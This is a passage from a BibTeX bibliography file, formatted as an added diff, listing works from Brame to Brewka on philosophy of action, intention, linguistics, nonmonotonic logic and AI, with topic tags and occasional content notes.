{1975}, + volume = {1}, + number = {2}, + pages = {191--203}, + topic = {nl-syntax;} + } + +@article{ brame:1977a, + author = {Michael K. Brame}, + title = {Alternatives to the Tensed {S} and Specified + Subject Conditions}, + journal = {Linguistics and Philosophy}, + year = {1977}, + volume = {1}, + number = {3}, + pages = {381--411}, + topic = {transformational-grammar;nl-syntax;} + } + +@article{ brams-etal:2001a, + author = {Steven J. Brams and Paul H. Edelman and Peter C. Fishburn}, + title = {Paradoxes of Fair Division}, + journal = {The Journal of Philosophy}, + year = {2001}, + volume = {98}, + number = {6}, + pages = {300--314}, + topic = {welfare-economics;rationality;} + } + +@article{ branch:1977a, + author = {Taylor Branch}, + title = {New Frontiers in {A}merican Philosophy}, + journal = {The New York Times Magazine}, + year = {1977}, + note = {August 14, 1977}, + topic = {Kripke;analytic-philosophy;} + } + +@book{ brand-walton:1976a, + editor = {Myles Brand and Douglas Walton}, + title = {Action Theory: Proceedings of the {W}innipeg Conference On + Human Action, held at {W}innipeg, {M}anitoba, {C}anada, 9-11 {M}ay + 1975}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + ISBN = {9027706719}, + topic = {philosophy-of-action;} + } + +@article{ brand_d:1976a, + author = {D. Brand}, + title = {Analytic Resolution in Theorem Proving}, + journal = {Artificial Intelligence}, + year = {1976}, + volume = {7}, + number = {4}, + pages = {285--318}, + topic = {theorem-proving;resolution;} + } + +@article{ brand_m:1970a, + author = {Myles Brand}, + title = {Causes of Actions}, + journal = {The Journal of Philosophy}, + year = {1970}, + volume = {67}, + number = {21}, + pages = {932--947}, + topic = {action;causality;} + } + +@book{ brand_m:1970b, + editor = {Myles Brand}, + title = {The Nature of Human Action}, + publisher = {Scott, Foresman and Company}, + year = {1970}, + address = {Glenview, California}, + topic = {action;} + } + +@book{ brand_m:1976a, + editor = {Myles Brand}, + title = {The Nature of Causation}, + publisher = {University of Illinois Press}, + year = {1976}, + address = {Urbana, Illinois}, + contentnote = {This contains a useful survey in the introductory + chapter on the problem of defining causation.}, + topic = {causality;} + } + +@book{ brand_m-walton_d:1976a, + editor = {Myles Brand and Douglas Walton}, + title = {Action Theory}, + publisher = {D. Reidel Publishing Co.}, + year = {1976}, + address = {Dordrecht}, + ISBN = {9027706719}, + topic = {philosophy-of-action;} + } + +@book{ brand_m:1984a, + author = {Myles Brand}, + title = {Intending and Acting: Toward a Naturalized Action Theory}, + publisher = {The {MIT} Press}, + year = {1984}, + address = {Cambridge, Massachusetts}, + topic = {philosophy-of-action;} + } + +@incollection{ brand_m:1986a, + author = {Myles Brand}, + title = {Intentional Acts and Plans}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {213--230}, + address = {Minneapolis}, + topic = {intention;action;volition;} + } + +@incollection{ brand_m:1989a, + author = {Myles Brand}, + title = {Proximate Causation of Action}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {423--442}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {reasons-for-action;} + } + +@inproceedings{ brandano:1999a, + author = {Sergio Brandano}, + title = {${\cal K}$-{RAC}i}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Nonmonotonic Reasoning, Action and Change}, + year = {1999}, + editor = {Michael Thielscher}, + pages = {9--16}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {action-formalisms;reasoning-about-continuous-time; + concurrent-actions;continuous-change;} + } + +@article{ brandenberger-dekel:1987a, + author = {A. Brandenberger and E. Dekel}, + title = {Common Knowledge With Probability {I}}, + journal = {Journal of Mathematical Economics}, + year = {1987}, + volume = {16}, + pages = {237--245}, + missinginfo = {A's 1st name, number}, + topic = {mutual-belief;probability;} + } + +@book{ brandom:1994a, + author = {Robert B. Brandom}, + title = {Making It Explicit: Reasoning, Representing, and Discursive + Commitment}, + publisher = {Harvard University Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + ISBN = {067454319X (alk. paper)}, + topic = {philosophy-of-language;} + } + +@incollection{ brandom:1998a, + author = {Robert Brandom}, + title = {Actions, Norms, and Practical Reasoning}, + booktitle = {Philosophical Perspectives 12: Language, Mind, + and Ontology}, + publisher = {Blackwell Publishers}, + year = {1998}, + editor = {James E. Tomberlin}, + pages = {127--139}, + address = {Oxford}, + topic = {ethics;practical-reason;volition;} + } + +@incollection{ brandt:1963a, + author = {Richard Brandt}, + title = {Toward a Credible Form of Utilitarianism}, + booktitle = {Morality and the Language of Conduct}, + editor = {{Hector-Neri} Casta\~{n}eda and George Nakhnikian}, + publisher = {Wayne State University Press}, + year = {1963}, + pages = {107--144}, + topic = {utilitarianism;ethics;} + } + +@article{ brandt-kim_jw:1963a, + author = {Richard Brandt and Jaegwon Kim}, + title = {Wants as Explanations of Actions}, + journal = {The Journal of Philosophy}, + year = {1963}, + volume = {63}, + number = {18}, + pages = {425--435}, + topic = {mind-body-problem;} + } + +@article{ brandt-kim_jw:1964a, + author = {Richard Brandt and Jaegwon Kim}, + title = {The Logic of the Identity Theory}, + journal = {The Journal of Philosophy}, + year = {1964}, + volume = {62}, + number = {24}, + pages = {515--537}, + topic = {mind-body-problem;} + } + +@article{ brandt:1983a, + author = {Richard Brandt}, + title = {The Concept of Rational Action}, + journal = {Social Theory and Practice}, + year = {1983}, + volume = {9}, + pages = {143--163}, + missinginfo = {number}, + topic = {rational-action;practical-reasoning;} + } + +@incollection{ brandt-etal:2002a, + author = {Sebastian Brandt and Ralf K\"usters and Anni-Yasmin Turhan}, + title = {Approximation and Difference in Description Logics}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {203--214}, + address = {San Francisco, California}, + topic = {kr;taxonomic-logics;} + } + +@inproceedings{ branko:1998a, + author = {Ant\'onio Branko}, + title = {The Logical Structure of Binding}, + booktitle = {Proceedings of the Thirty-Sixth Annual Meeting of the + {A}ssociation for {C}omputational {L}inguistics and + Seventeenth International Conference on + Computational Linguistics}, + year = {1998}, + editor = {Christian Boitet and Pete Whitelock}, + pages = {181--185}, + organization = {Association for Computational Linguistics}, + publisher = {Morgan Kaufmann Publishers}, + address = {San Francisco, California}, + topic = {binding-thoery;quantification;} +} + +@book{ bransford:1979a, + author = {John D. Bransford}, + title = {Human Cognition: Learning, Understanding, and Remembering}, + publisher = {Wadsworth Publishing Co.}, + year = {1979}, + address = {Belmont, California}, + ISBN = {053400699X}, + topic = {cognitive-psychology;} + } + +@article{ branting:1991a, + author = {L. Karl Branting}, + title = {Building Explanations from Rules and Structured Cases}, + journal = {International Journal of Man-Machine Studies}, + volume = {34}, + number = {6}, + pages = {797--837}, + year = {1991}, + topic = {explanation;case-based-reasoning;} + } + +@inproceedings{ branting:1991b, + author = {L. Karl Branting}, + title = {Reasoning with Portions of Precedents}, + booktitle = {Proceedings of the Third International + Conference on Artificial Intelligence and Law + (ICAIL-91)}, + publisher = {ACM Press}, + year = {1991}, + pages = {145--154}, + topic = {legal-AI;} + } + +@article{ branting:1994a, + author = {L. Karl Branting}, + title = {A Computational Model of {\em Ratio Decidendi}}, + journal = {Artificial Intelligence and Law}, + volume = {2}, + pages = {1--31}, + year = {1994}, + topic = {legal-AI;} + } + +@incollection{ brants:1996a, + author = {Thorston Brants}, + title = {Better Language Models with Model Merging}, + booktitle = {Proceedings of the Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1996}, + editor = {Eric Brill and Kenneth Church}, + pages = {60--68}, + address = {Somerset, New Jersey}, + topic = {corpus-statistics;} + } + +@incollection{ brants-etal:1997a, + author = {Thorstein Brants and Wojciech Skut and Brigitte Krenn}, + title = {Tagging Grammatical Functions}, + booktitle = {Proceedings of the Second Conference on Empirical + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1997}, + editor = {Claire Cardie and Ralph Weischedel}, + pages = {64--74}, + address = {Somerset, New Jersey}, + topic = {empirical-methods-in-nlp;corpus-linguistics; + part-of-speech-tagging;} + } + +@incollection{ brants-skut:1998a, + author = {Thorsten Brants and Wojciech Skut}, + title = {Automation of Treebank Annotation}, + booktitle = {Proceedings of the Joint Conference on New Methods in + Language Processing and Computational Natural Language + Learning: {NeMLaP3/CoNLL98}}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {David M.W. Powers}, + pages = {49--57}, + address = {Somerset, New Jersey}, + topic = {corpus-annotation;automated-corpus-annotation;statistical-nlp; + treebank-annotation;} + } + +@inproceedings{ brass:1993a, + author = {Stephen Brass}, + title = {On the Semantics of Supernormal Defaults}, + booktitle = {Proceedings of the Thirteenth International Joint + Conference on Artificial Intelligence}, + year = {1993}, + editor = {Ruzena Bajcsy}, + pages = {578--583}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + contentnote = {A supernormal default has form True:A/A, i.e., ~~> A. + This has a semantics with completeness result.}, + topic = {kr;nonmonotonic-logic;default-logic;} + } + +@incollection{ brass-etal:1996a, + author = {Stefan Brass and J\"urgen Dix and Teodor C. Przymusinski}, + title = {Super Logic Programs}, + booktitle = {{KR}'96: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Luigia Carlucci Aiello and Jon Doyle and Stuart Shapiro}, + pages = {529--539}, + address = {San Francisco, California}, + topic = {kr;logic-programming;kr-course;} + } + +@incollection{ brass-etal:1998a, + author = {Stefan Brass and J\"urgen Dix and Ilkka Niemel\"a + and Teodor C. Przmusinski}, + title = {A Comparison of the Static and the Disjunctive + Well-Founded Semantics and its Implementation}, + booktitle = {{KR}'98: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {1998}, + editor = {Anthony G. Cohn and Lenhart Schubert and Stuart C. + Shapiro}, + pages = {74--85}, + address = {San Francisco, California}, + topic = {kr;logic-programming;disjunctive-logic-programming;kr-course;} + } + +@article{ brass-etal:1999a, + author = {Stefan Brass and J\"urgen Dix and Teodor C. Przymusinski}, + title = {Computation of the Semantics of Autoepistemic Belief + Theories}, + journal = {Artificial Intelligence}, + year = {1999}, + volume = {112}, + number = {1--2}, + pages = {233--250}, + topic = {autoepistemic-logic;} + } + +@article{ bratman:1984a, + author = {Michael E. Bratman}, + title = {Two Faces of Intention}, + journal = {The Philosophical Review}, + year = {1984}, + volume = {93}, + pages = {375--405}, + missinginfo = {number}, + topic = {intention;} + } + +@incollection{ bratman:1986a, + author = {Michael Bratman}, + title = {Intention and Evaluation}, + booktitle = {Midwest Studies in Philosophy Volume {X}: + Studies in the Philosophy of Mind}, + publisher = {University of Minnesota Press}, + year = {1986}, + editor = {Peter A. French and Theodore E. {Uehling, Jr.} and Howard K. + Wettstein}, + pages = {185--189}, + address = {Minneapolis}, + topic = {intention;} + } + +@book{ bratman:1987a, + author = {Michael E. Bratman}, + title = {Intentions, Plans and Practical Reason}, + publisher = {Harvard University Press}, + year = {1987}, + topic = {action;practical-reasoning;foundations-of-planning;} + } + +@article{ bratman-etal:1988a1, + author = {Michael E. Bratman and David Israel and Martha Pollack}, + title = {Plans and Resource-Bounded Practical Reasoning}, + journal = {Computational Intelligence}, + year = {1988}, + volume = {4}, + pages = {349--355}, + contentnote = {This is the original IRMA paper. + Idea: a plan's main purpose is to filter future + intentions, thus keeping an agent from constantly replanning. + Suggest an architecture for resource bounded agents w/ + compatibility filter and filter override mechanism, that allows + means-ends reasoning. The trick is to allow replanning only via a + filter override. Can show it is impossible to design an optimal + agent, introduce notions of cautious agent vs. bold agent.}, + missinginfo = {number}, + xref = {Reprinted in cummins_r-pollock:1991a, pp. 7--22.}, + topic = {foundations-of-planning;} + } + +@incollection{ bratman-etal:1988a2, + author = {Michael E. Bratman and David Israel and Martha Pollack}, + title = {Plans and Resource-Bounded Practical Reasoning}, + booktitle = {Philosophy and {AI}: Essays at the Interface}, + publisher = {The {MIT} Press}, + year = {1991}, + editor = {Robert Cummins and John L. Pollock}, + pages = {1--22}, + address = {Cambridge, Massachusetts}, + xref = {Republication of bratman-etal:1988a1.}, + topic = {foundations-of-planning;} + } + +@incollection{ bratman:1989a, + author = {Michael E. Bratman}, + title = {Intention and Personal Policies}, + booktitle = {Philosophical Perspectives 3: + Philosophy of Mind and Action Theory}, + publisher = {Ridgeview Publishing Company}, + year = {1989}, + editor = {James E. Tomberlin}, + pages = {443--469}, + address = {Atasacadero, California}, + note = {Also available at http://www.jstor.org/journals/.}, + topic = {intention;practical-reasoning;} + } + +@incollection{ bratman:1990a, + author = {Michael E. Bratman}, + title = {What is Intention?}, + booktitle = {Intentions in Communication}, + publisher = {The {MIT} Press}, + year = {1990}, + editor = {Philip R. Cohen and Jerry Morgan and Martha Pollack}, + pages = {15--32}, + address = {Cambridge, Massachusetts}, + topic = {intention;practical-reasoning;foundations-of-planning;} + } + +@inproceedings{ bratman:1995a, + author = {Michael E. Bratman}, + title = {Plans and Resource-Bounded Practical Reasoning}, + booktitle = {Working Notes of the {AAAI} Spring Symposium on + Extending Theories of Action: Formal Theories and Applications}, + year = {1995}, + organization = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + missinginfo = {pages}, + topic = {action;foundations-of-planning;} + } + +@book{ bratman:1999a, + author = {Michael E. Bratman}, + title = {Faces of Intention}, + publisher = {Cambridge University Press}, + year = {1999}, + address = {Cambridge, England}, + ISBN = {052163727}, + topic = {intention;philosophy-of-action;practical-reasoning;} + } + +@article{ bratman:2000a, + author = {Michael E. Bratman}, + title = {Reflection, Planning, and Temporally Extended Agency}, + journal = {The Philosophical Review}, + year = {2000}, + volume = {109}, + number = {1}, + pages = {35--61}, + topic = {agancy;practical-reason;} + } + +@incollection{ bratman:2000b, + author = {Michael E. Bratman}, + title = {Valuing and the Will}, + booktitle = {Philosophical Perspectives 14: Action and Freedom}, + publisher = {Blackwell Publishers}, + year = {2000}, + editor = {James E. Tomberlin}, + pages = {249--265}, + address = {Oxford}, + topic = {desire;volition;} + } + +@article{ braun:1995a, + author = {David Braun}, + title = {What is Character?}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {3}, + pages = {227--240}, + topic = {demonstratives;indexicals;context;} + } + +@article{ braun:1996a, + author = {David Braun}, + title = {Demonstratives and Their Linguistic Meanings}, + journal = {No\^us}, + year = {1996}, + volume = {30}, + number = {2}, + pages = {145--173}, + topic = {demonstratives;indexicals;context;} + } + +@article{ brauner:2002a, + author = {Torben Bra\"uner}, + title = {Modal Logic, Truth, and the Master Modality}, + journal = {Journal of Philosophical Logic}, + year = {2002}, + volume = {31}, + number = {4}, + pages = {359--386}, + topic = {modal-logic;Davidson-semantics;truth-definitions;} + } + +@book{ brazdil-konolige:1990a, + editor = {Pavel B. Brazdil and Kurt Konolige}, + title = {Machine Learning, Meta-Reasoning, and Logics}, + publisher = {Kluwer Academic Publishers}, + year = {1990}, + address = {Boston}, + ISBN = {0792390474}, + topic = {machine-learning;logic-in-AI;} + } + +@book{ brazil-etal:1980a, + author = {D. Brazil and M. Coulthard and C. Johns}, + title = {Discourse Intonation and Language Teaching}, + publisher = {Longman}, + year = {1980}, + address = {London}, + missinginfo = {A's 1st name.}, + topic = {discourse;intonation;pragmatics;} + } + +@incollection{ bredenkamp-etal:1997a, + author = {Andres Bredenkamp and Louisa Sadler and Andrew + Spencer}, + title = {Investigating Argument Structure: The {R}ussian + Nominalization Database}, + booktitle = {Linguistic Databases}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {John Nerbonne}, + pages = {137--159}, + address = {Stanford, California}, + topic = {corpus-linguistics;argument-structure;Russian-language;} + } + +@inproceedings{ breese-fehling:1990a, + author = {John S. Breese and Michael R. Fehling}, + title = {Control of Problem Solving: Principles and Architecture}, + booktitle = {Uncertainty in Artificial Intelligence 4}, + year = {1990}, + editor = {Ross D. Shachter and T.S.Levitt and J. Lemmer and L.N. Kanal}, + pages = {59--68}, + publisher = {Elsevier Science Publishers}, + address = {Amsterdam}, + topic = {decision-theoretic-planning;decision-theoretic-reasoning;} + } + +@inproceedings{ breese-horvitz:1990a, + author = {John S. Breese and Eric J. Horvitz}, + title = {Ideal Reformulation of Belief Networks}, + booktitle = {Proceedings of the Sixth Conference on + Uncertainty in Artificial Intelligence}, + year = {1990}, + pages = {64--72}, + month = {July}, + topic = {Bayesian-networks;} + } + +@incollection{ bremermann:1967a, + author = {H.J. Bremermann}, + title = {Quantifiable Aspects of Goal-Seeking + Self-Organizing Systems}, + booktitle = {Progress in Theoretical Biology, Volume 1}, + publisher = {Academic Press}, + year = {1967}, + editor = {Fred M. Snell}, + pages = {59--77}, + address = {New York}, + topic = {Bremmermann's-limit;} + } + +@inproceedings{ brennan:1996a, + author = {Susan E. Brennan}, + title = {Lexical Entrainment in Spontaneous Dialog}, + booktitle = {International Symposium on Spoken Dialog}, + year = {1996}, + pages = {41--44}, + missinginfo = {author, publisher, address}, + topic = {discourse;entrainment;} + } + +@article{ brennan-clark_hh:1996a, + author = {Susan E. Brennan and Herbert H. Clark}, + title = {Conceptual Pacts and Lexical Choice and in Conversation}, + journal = {Journal of Experimental Psychology: Learning, Memory + and Cognition}, + year = {1996}, + volume = {22}, + number = {6}, + pages = {1482--1493}, + topic = {lexical-choice;pragmatics;entrainment;psychology-of-discourse;} + } + +@incollection{ brennan:1997a, + author = {Susan E. Brennan}, + title = {Centering as a Psychological Resource + for Achieving Joint Reference in Spontaneous Discourse}, + booktitle = {Centering Theory in Discourse}, + publisher = {Oxford University Press}, + year = {1997}, + editor = {Marilyn A. Walker and Arivind K. Joshi and Ellen Prince}, + pages = {227--249}, + address = {Oxford}, + topic = {anaphora-resolution;discourse;pragmatics;centering; + psychology-of-discourse;} + } + +@book{ brennan-etal:1999a, + editor = {Susan E. Brennan and Alain Giboin and David Traum}, + title = {Working Papers of the {AAAI} Fall Symposium on + Psychological Models of Communication in Collaborative + Systems}, + publisher = {American Association for Artificial Intelligence}, + year = {1999}, + address = {Menlo Park, California}, + contentnote = {TC: + 1. David Albritton and Johanna D. Moore, "Discourse Cues + in Narrative Text: Using Production to Predict + Conversation", pp. 1--8 + 2. A.H. Anderson and J. Mullin and E. Katsavras and R. McEwan + and E. Grattan and P. Brundell, "Understanding + Multiparty Multimedia Interactions", pp. 9--16 + 3. Rainer Bromme and Matthias N\"uckles and Riklef Rambow, + "Adaptivity and Anticipation in Expert-Laypeople + Communication", pp. 17--24 + 4. Janet E. Cahn and Susan E. Brennan, "A Psychological + Model of Grounding and Repair in Dialog", pp. 25--33 + 5. Justine Cassell and Matthew Stone, "Living Hand to Mouth: + Psychological Theories about Speech and Gesture in + Interactive Dialogue Systems", pp. 34--42 + 6. Herbert H. Clark, "How Do Real People Communicate with + Virtual Partners?", pp. 43--47 + 7. Mark G. Core and Lenhart K. Schubert, "A Model of Speech + Repairs and Other Disruptions", pp. 48--53 + 8. Patrick G.T. Healey, "Accounting for Communication: + Estimating Effort, Transparency and Coherence", + pp. 54--60 + 9. Jean-Claude Martin, "{TYCOON}, Six Primitive Types of + Cooperation for Observing, Estimating, and Specifying + Cooperations", pp. 61--66 + 10. Michael Matessa and John Anderson, Towards an {ACT-R} + Model of Communication in Problem Solving", pp. 67--72 + 11. Andrew Monk, "Participatory Status in Electronically Mediated + Collaborative Work", pp. 73--80 + 12. Eamonn O'Neill and Peter Johnson, "Task Knowledge Structures + and the Design of Collaborative Systems", pp. 81--84 + 13. Tim Paek and Eric Horvitz, "Uncertainty, Utility, and + Misunderstanding: A Decision-Theoretic Perspective + on Grounding in Conversational Systems", pp. 85--92 + 14. Donald Perlis and Khemdut Purang and Darsana Purushothaman and + Carl Anderson and David Traum, "Modeling Time and + Meta-Reasoning in Dialogue via Inductive Logic", + pp. 93--99. + 15. Charles Rich and Candace L. Sidner, "{COLLAGEN}: Project + Summary and Discussion Questions", pp. 100--107 + 16. Michael F. Schober and Frederic G. Conrad and Jonathan E. + Bloom, "Enhancing Collaboration in + Computer-Administered + Survey Interviews", pp. 108--115 + 17. Amy Soller and Alan Lesgold and Frank Linton and Brad + Goodwin, "What Makes Peer Interaction Effective? + Modeling Effective Communication in an Intelligent + CSCL", pp. 116--124 + 18. David R. Traum, "Computational Models of Grounding in + Collaborative Systems", pp. 124--131 + 19. Teresa Zollo, "A study of Human Dialogue Strategies in + the presence of Speech Recognition Errors", + pp. 132--139 + }, + topic = {discourse;collaboration;} + } + +@incollection{ brennan:2000a, + author = {Susan E. Brennan}, + title = {The Vocabulary Problem in Spoken Language Systems}, + booktitle = {Automatic Spoken Dialog Systems}, + publisher = {The {MIT} Press}, + year = {2000}, + editor = {Susann Luperfoy}, + address = {Cambridge, Massachusetts}, + missinginfo = {pages}, + topic = {computational-dialogue;lexical-selection;entrainment;} + } + +@incollection{ brennan:2002a, + author = {Susan Brennan}, + title = {Audience Design and Discourse Processes: Do + Speakers and Addressees}, + booktitle = {{EDILOG} 2002: Proceedings of the Sixth Workshop on the + Semantics and Pragmatics of Dialogue}, + publisher = {Cognitive Science Centre, University of Edinburgh}, + year = {2002}, + editor = {Johan Bos and Mary Ellen Foster and Colin Mathesin}, + pages = {1}, + address = {Edinburgh}, + topic = {entrainment;psychology-of-discourse;} + } + +@book{ brennenstuhl:1982a, + author = {Waltraud Brennenstuhl}, + title = {Control and Ability: Towards a Biocybernetics of Language}, + publisher = {J. Benjamins Pub. Co.}, + year = {1982}, + address = {Amsterdam}, + ISBN = {9027225222 (pbk.)}, + topic = {ability;} + } + +@unpublished{ brennenstuhl:1983a, + author = {Waltrund Brennenstuhl}, + title = {A Door's Closing---A Contribution to the + Semantics of Tense and Aspect}, + year = {1974}, + note = {Unpublished manuscript, Institut f\"ur Linguistik, + Technische Universit\"at Berlin}, + xref = {First sections overlap with brennenstuhl:1983b.}, + topic = {vagueness;tense-aspect;} + } + +@incollection{ brennenstuhl:1983b, + author = {Waltrund Brennenstuhl}, + title = {A Door's Closing---A Contribution to the Vagueness + Semantics of Tense and Aspect}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {293--316}, + address = {Amsterdam}, + topic = {vagueness;tense-aspect;} + } + +@book{ brent:1996a, + author = {Michael R. Brent}, + title = {Computational Approaches to Language Generation}, + publisher = {The {MIT} Press}, + year = {1996}, + address = {Cambridge, Massachusetts}, + topic = {machine-language-learning;L1-acquisition;} + } + +@article{ bresnan:1972a, + author = {Joan Bresnan}, + title = {Stress and Syntax: a Reply}, + journal = {Language}, + year = {1972}, + volume = {48}, + pages = {326--342}, + missinginfo = {number}, + topic = {s-topic;pragmatics;} + } + +@article{ bresnan:1975a, + author = {Joan Bresnan}, + title = {Comparative Deletion and Constraints on Transformations}, + journal = {Linguistic Analysis}, + year = {1975}, + volume = {1}, + number = {1}, + pages = {25--74}, + topic = {nl-syntax;comparative-constructions;} + } + +@article{ bresnan:1976a, + author = {Joan Bresnan}, + title = {Evidence for a Theory of Unbounded Transformations}, + journal = {Linguistic Analysis}, + year = {1976}, + volume = {2}, + number = {4}, + pages = {353--393}, + topic = {nl-syntax;long-distance-dependencies;} + } + +@incollection{ bresnan:1977a, + author = {Joan Bresnan}, + title = {Variables in the Theory of Transformations Part {I}: + Bounded Versus Unbounded Transformations}, + booktitle = {Formal Syntax}, + publisher = {Academic Press}, + year = {1977}, + editor = {Peter W. Culicover and Thomas Wasow and Adrian Akmajian}, + pages = {157--196}, + address = {New York}, + topic = {transformational-grammar;} + } + +@incollection{ bresnan:1977b, + author = {Joan Bresnan}, + title = {Transformations and Categories in Syntax}, + booktitle = {Basic Problems in Methodology and Linguistics}, + publisher = {D. Reidel Publishing Co.}, + year = {1977}, + editor = {Robert E. Butts and Jaakko Hintikka}, + pages = {261--282}, + address = {Dordrecht}, + topic = {nl-syntax;syntactic-categories;LF;} + } + +@techreport{ bresnan:1980a, + author = {Joan Bresnan}, + title = {The Passive in Lexical Theory}, + institution = {Center for Cognitive Science, Massachusetts Institute of + Technology}, + number = {Occasional Paper No. 7}, + year = {1980}, + address = {Cambridge, Massachusetts}, + missinginfo = {Year is a guess}, + topic = {passive;LFG;} + } + +@article{ bresnan:1981a, + author = {Joan Bresnan}, + title = {An Approach to Universal Grammar and the Mental + Representation of Language}, + journal = {Cognition}, + year = {1981}, + volume = {10}, + pages = {39--52}, + missinginfo = {number}, + topic = {foundations-of-universal-grammar;nl-syntax-and-cognition;} + } + +@book{ bresnan:1982a, + editor = {Joan Bresnan}, + title = {The Mental Representation of Grammatical Relations}, + publisher = {The {MIT} Press}, + year = {1982}, + address = {Cambridge, Massachusetts}, + xref = {Review: schachter_p:1985a.}, + ISBN = {0262021587}, + topic = {grammatical-relations;nl-syntax;LFG;} + } + +@incollection{ bresnan-mchombo:1987a, + author = {Joan Bresnan and Sam A. Mchombo}, + title = {Topic, Pronoun, and Agreement in Chiche\^wa}, + booktitle = {Working Papers in Grammatical Theory and Discourse + Structure}, + publisher = {Center for the Study of Language and Information}, + year = {1987}, + editor = {Masayo Iida Stephen Wechsler and Draga Zec}, + pages = {1--59}, + address = {Stanford, California}, + contentnote = {This is a detailed attempt to account for a language + in which topic plays a prominent role in the grammar.}, + topic = {s-topic;pragmatics;} + } + +@book{ bresnan:2001a, + author = {Joan Bresnan}, + title = {Lexical-Functional Syntax}, + publisher = {Blackwell}, + year = {2001}, + address = {Oxford}, + ISBN = {0631209735}, + topic = {LFG;} + } + +@article{ bressan:1974a, + author = {Aldo Bressan}, + title = {On the Semantics for the Language {ML}$^{\nu}$ Based + on a Type System, and those for the Type-Free Language + {ML}$^{\infty}*$}, + journal = {Journal of Philosophical Logic}, + year = {1974}, + volume = {3}, + number = {3}, + pages = {171--194}, + topic = {intensional-logic;} + } + +@article{ bressan:1993a, + author = {Aldo Bressan}, + title = {On {G}upta's Book {\it {T}he Logic of Common Nouns}}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {4}, + pages = {335--383}, + xref = {Review of: gupta_a:1980a.}, + topic = {semantics-of-common-nouns;} + } + +@inproceedings{ bretier-etal:1995a, + author = {F. Bretier and F. Panaget and M.D. Sadek}, + title = {Integrating Linguistic Capabilities into the Formal Model + of a Rational Agent: Application to Cooperative Spoken + Dialogue}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {15--14}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {communications-modeling;} + } + +@inproceedings{ bretier-sadek:1995a, + author = {F. Bretier and M.D. Sadek}, + title = {Designing and Implementing a Theory of Rational + Interaction to be the Core of a Cooperative Spoken + Dialogue System}, + booktitle = {Working Papers of the {AAAI} Fall Symposium on + Rational Agency: Concepts, Theories, Models, and Applications}, + year = {1995}, + editor = {Michael Fehling}, + pages = {10--19}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {communications-modeling;cooperation;} + } + +@article{ brew:2001a, + author = {Chris Brew}, + title = {Review of {\it Lexicon Development for Speech and Language + Processing}, edited by {F}rank {V}an {E}ynde and {D}affyd + {G}ibbon}, + journal = {Computational Linguistics}, + year = {2001}, + volume = {27}, + number = {3}, + pages = {459--461}, + xref = {Review of: vaneynde-gibbon:2000a.}, + topic = {computational-lexicography;} + } + +@incollection{ brewka:1987a, + author = {Gerhard Brewka}, + title = {The Logic of Frames With Exceptions}, + booktitle = {The Frame Problem in Artificial Intelligence: Proceedings + of the 1987 Workshop}, + publisher = {Morgan Kaufmann}, + year = {1987}, + editor = {Frank M. Brown}, + pages = {77--87}, + address = {Los Altos, California}, + topic = {kr;inheritance-theory;specificity;} + } + +@inproceedings{ brewka:1987b, + author = {Gerhard Brewka}, + title = {The Logic of Inheritance in Frame Systems}, + booktitle = {Proceedings of the Tenth International Joint + Conference on Artificial Intelligence}, + year = {1987}, + pages = {483--488}, + publisher = {Morgan Kaufmann}, + address = {Los Altos, California}, + missinginfo = {editor}, + topic = {inheritance-theory;frames;} + } + +@inproceedings{ brewka:1989a, + author = {Gerhard Brewka}, + title = {Preferred Subtheories: An Extended Logical Theory for + Default Reasoning}, + booktitle = {Proceedings of the Eleventh International Joint + Conference on Artificial Intelligence}, + year = {1989}, + editor = {N.S. Sridharan}, + pages = {1043--1048}, + publisher = {Morgan Kaufmann}, + address = {San Mateo, California}, + topic = {nonmonotonic-logic;} + } + +@incollection{ brewka:1991a, + author = {Gerhard Brewka}, + title = {Assertional Default Theories}, + booktitle = {Symbolic and Quantitative Approaches for Uncertainty: + Proceedings of the {E}uropean Conference {ECSQAU}, Marseille, + France, October 1991}, + publisher = {Springer-Verlag}, + year = {1991}, + editor = {Rudolf Kruse and Pierre Siegel}, + pages = {120--124}, + address = {Berlin}, + topic = {default-logic;} + } + +@book{ brewka:1991b, + author = {Gerhard Brewka}, + title = {Nonmonotonic Reasoning: Logical Foundations of Commonsense}, + publisher = {Cambridge University Press}, + year = {1991}, + address = {Cambridge, England}, + topic = {nonmonotonic-logic;nonmonotonic-reasoning;} + } + +@article{ brewka:1991c, + author = {Gerhard Brewka}, + title = {Cumulative Default Logic: in Defense of Nonmonotonic + Inference Rules}, + journal = {Artificial Intelligence}, + year = 